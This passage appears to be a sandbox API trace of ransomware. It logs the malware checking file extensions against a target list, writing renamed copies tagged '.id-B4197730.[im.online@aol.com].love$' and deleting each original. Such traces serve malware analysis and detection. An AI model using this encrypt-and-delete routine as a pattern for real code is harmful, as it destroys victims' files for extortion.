returned 4 [0107.014] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0107.014] lstrlenW (lpString=".docx") returned 5 [0107.014] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0107.014] lstrlenW (lpString=".pdf") returned 4 [0107.014] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0107.014] lstrlenW (lpString=".xls") returned 4 [0107.014] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0107.014] lstrlenW (lpString=".xlsx") returned 5 [0107.014] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0107.014] lstrlenW (lpString=".ppt") returned 4 [0107.014] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0107.014] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0107.014] lstrlenW (lpString=".zip") returned 4 [0107.014] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0107.014] lstrlenW (lpString=".rar") returned 4 [0107.014] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0107.015] lstrlenW (lpString=".bz2") returned 4 [0107.015] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0107.015] lstrlenW (lpString=".7z") returned 3 [0107.015] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0107.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0107.015] lstrlenW (lpString=".dbf") returned 4 [0107.015] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0107.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0107.015] lstrlenW (lpString=".1cd") returned 4 [0107.015] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0107.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0107.015] lstrlenW (lpString=".jpg") returned 4 [0107.015] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0107.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0107.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0107.015] lstrlenW (lpString=".doc") returned 4 [0107.015] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0107.015] lstrlenW (lpString=".docx") returned 5 [0107.015] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0107.015] lstrlenW (lpString=".pdf") returned 4 [0107.015] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0107.015] lstrlenW (lpString=".xls") returned 4 [0107.015] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0107.015] lstrlenW (lpString=".xlsx") returned 5 [0107.015] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0107.015] lstrlenW (lpString=".ppt") returned 4 [0107.015] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0107.015] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0107.015] lstrlenW (lpString=".zip") returned 4 [0107.015] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0107.015] lstrlenW (lpString=".rar") returned 4 [0107.015] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0107.015] lstrlenW (lpString=".bz2") returned 4 [0107.016] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0107.016] lstrlenW (lpString=".7z") returned 3 [0107.016] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0107.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0107.016] lstrlenW (lpString=".dbf") returned 4 [0107.016] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0107.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0107.016] lstrlenW (lpString=".1cd") returned 4 [0107.016] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0107.016] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0107.016] lstrlenW (lpString=".jpg") returned 4 [0107.016] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0107.016] lstrcmpiW (lpString1=".gif", lpString2=".love$") returned -1 [0107.016] lstrlenW (lpString="splash_11@2x-lic.gif") returned 20 [0107.016] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0107.016] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=12250) returned 1 [0107.016] CloseHandle (hObject=0x2c8) returned 1 [0107.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20 [0107.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0107.017] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0107.017] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.017] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.017] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0107.017] GetLastError () returned 0x0 [0107.017] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x2fda, lpOverlapped=0x0) returned 1 [0107.020] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x2fe0, lpOverlapped=0x0) returned 1 [0107.023] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.023] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xfc, lpOverlapped=0x0) returned 1 [0107.023] SetEndOfFile (hFile=0x34c) returned 1 [0107.023] CloseHandle (hObject=0x34c) returned 1 [0107.025] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.025] SetEndOfFile (hFile=0x2c8) returned 1 [0107.026] CloseHandle (hObject=0x2c8) returned 1 [0107.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0107.026] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1 [0107.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0107.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0107.026] lstrlenW (lpString=".doc") returned 4 [0107.026] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0107.026] lstrlenW (lpString=".docx") returned 5 [0107.026] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0107.026] lstrlenW (lpString=".pdf") returned 4 [0107.026] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0107.027] lstrlenW (lpString=".xls") returned 4 [0107.027] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0107.027] lstrlenW (lpString=".xlsx") returned 5 [0107.027] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0107.027] lstrlenW (lpString=".ppt") returned 4 [0107.027] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0107.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0107.027] lstrlenW (lpString=".zip") returned 4 [0107.027] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0107.027] lstrlenW (lpString=".rar") returned 4 [0107.027] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0107.027] lstrlenW (lpString=".bz2") returned 4 [0107.027] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0107.027] lstrlenW (lpString=".7z") returned 3 [0107.027] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0107.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0107.027] lstrlenW (lpString=".dbf") returned 4 [0107.027] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0107.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0107.027] lstrlenW (lpString=".1cd") returned 4 [0107.027] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0107.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0107.027] lstrlenW (lpString=".jpg") returned 4 [0107.027] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0107.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0107.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0107.027] lstrlenW (lpString=".doc") returned 4 [0107.027] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0107.027] lstrlenW (lpString=".docx") returned 5 [0107.027] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0107.027] lstrlenW (lpString=".pdf") returned 4 [0107.027] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0107.028] lstrlenW (lpString=".xls") returned 4 [0107.028] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0107.028] lstrlenW (lpString=".xlsx") returned 5 [0107.028] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0107.028] lstrlenW (lpString=".ppt") returned 4 [0107.028] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0107.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0107.028] lstrlenW (lpString=".zip") returned 4 [0107.028] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0107.028] lstrlenW (lpString=".rar") returned 4 [0107.028] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0107.028] lstrlenW (lpString=".bz2") returned 4 [0107.028] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0107.028] lstrlenW (lpString=".7z") returned 3 [0107.028] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0107.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0107.028] lstrlenW (lpString=".dbf") returned 4 [0107.028] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0107.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0107.028] lstrlenW (lpString=".1cd") returned 4 [0107.028] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0107.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0107.028] lstrlenW (lpString=".jpg") returned 4 [0107.028] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0107.028] lstrcmpiW (lpString1=".gif", lpString2=".love$") returned -1 [0107.028] lstrlenW (lpString="invalid32x32.gif") returned 16 [0107.028] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0107.030] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=153) returned 1 [0107.030] CloseHandle (hObject=0x2c8) returned 1 [0107.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20 [0107.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0107.030] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0107.030] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.030] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.030] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0107.031] GetLastError () returned 0x0 [0107.031] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x99, lpOverlapped=0x0) returned 1 [0107.032] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xa0, lpOverlapped=0x0) returned 1 [0107.034] ReadFile (in: hFile=0x2c8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0107.034] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xf4, lpOverlapped=0x0) returned 1 [0107.034] SetEndOfFile (hFile=0x34c) returned 1 [0107.034] CloseHandle (hObject=0x34c) returned 1 [0107.036] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0107.036] SetEndOfFile (hFile=0x2c8) returned 1 [0107.037] CloseHandle (hObject=0x2c8) returned 1 [0107.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0107.038] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 1 [0107.038] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0107.038] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0107.038] lstrlenW (lpString=".doc") returned 4 [0107.038] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0107.038] lstrlenW (lpString=".docx") returned 5 [0107.038] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0107.038] lstrlenW (lpString=".pdf") returned 4 [0107.038] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0107.038] lstrlenW (lpString=".xls") returned 4 [0107.038] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0107.038] lstrlenW (lpString=".xlsx") returned 5 [0107.038] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0107.038] lstrlenW (lpString=".ppt") returned 4 [0107.038] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0107.038] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0107.038] lstrlenW (lpString=".zip") returned 4 [0107.039] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0107.039] lstrlenW (lpString=".rar") returned 4 [0107.039] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0107.039] lstrlenW (lpString=".bz2") returned 4 [0107.039] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0107.039] lstrlenW (lpString=".7z") returned 3 [0107.039] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0107.039] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0107.039] lstrlenW (lpString=".dbf") returned 4 [0107.039] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0107.039] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0107.039] lstrlenW (lpString=".1cd") returned 4 [0107.039] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0107.039] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0107.039] lstrlenW (lpString=".jpg") returned 4 [0107.039] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0107.039] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0107.039] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0107.039] lstrlenW (lpString=".doc") returned 4 [0107.039] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0107.039] lstrlenW (lpString=".docx") returned 5 [0107.039] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0107.039] lstrlenW (lpString=".pdf") returned 4 [0107.039] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0107.039] lstrlenW (lpString=".xls") returned 4 [0107.039] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0107.040] lstrlenW (lpString=".xlsx") returned 5 [0107.040] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0107.040] lstrlenW (lpString=".ppt") returned 4 [0107.040] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0107.040] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0107.040] lstrlenW (lpString=".zip") returned 4 [0107.040] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0107.040] lstrlenW (lpString=".rar") returned 4 [0107.040] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0107.040] lstrlenW (lpString=".bz2") returned 4 [0107.040] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0107.040] lstrlenW (lpString=".7z") returned 3 [0107.040] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0107.040] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0107.040] lstrlenW (lpString=".dbf") returned 4 [0107.040] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0107.040] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0107.040] lstrlenW (lpString=".1cd") returned 4 [0107.040] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0107.040] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0107.040] lstrlenW (lpString=".jpg") returned 4 [0107.040] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0107.040] lstrcmpiW (lpString1=".gif", lpString2=".love$") returned -1 [0107.040] lstrlenW (lpString="win32_CopyDrop32x32.gif") returned 23 [0107.040] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0108.234] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=165) returned 1 [0108.235] CloseHandle (hObject=0x2d8) returned 1 [0108.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20 [0108.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0108.848] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0108.849] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.849] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.849] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0108.849] GetLastError () returned 0x0 [0108.850] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0xa5, lpOverlapped=0x0) returned 1 [0108.851] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0xb0, lpOverlapped=0x0) returned 1 [0108.852] ReadFile (in: hFile=0x2b8, lpBuffer=0x3d35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0108.853] WriteFile (in: hFile=0x34c, lpBuffer=0x3d35020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d35020*, lpNumberOfBytesWritten=0x335fc94*=0x102, lpOverlapped=0x0) returned 1 [0108.853] SetEndOfFile (hFile=0x34c) returned 1 [0108.853] CloseHandle (hObject=0x34c) returned 1 [0108.854] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0108.854] SetEndOfFile (hFile=0x2b8) returned 1 [0108.855] CloseHandle (hObject=0x2b8) returned 1 [0108.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0108.856] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1 [0108.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0108.856] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0108.857] lstrlenW (lpString=".doc") returned 4 [0108.857] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0108.857] lstrlenW (lpString=".docx") returned 5 [0108.857] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0108.857] lstrlenW (lpString=".pdf") returned 4 [0108.857] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0108.857] lstrlenW (lpString=".xls") returned 4 [0108.857] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 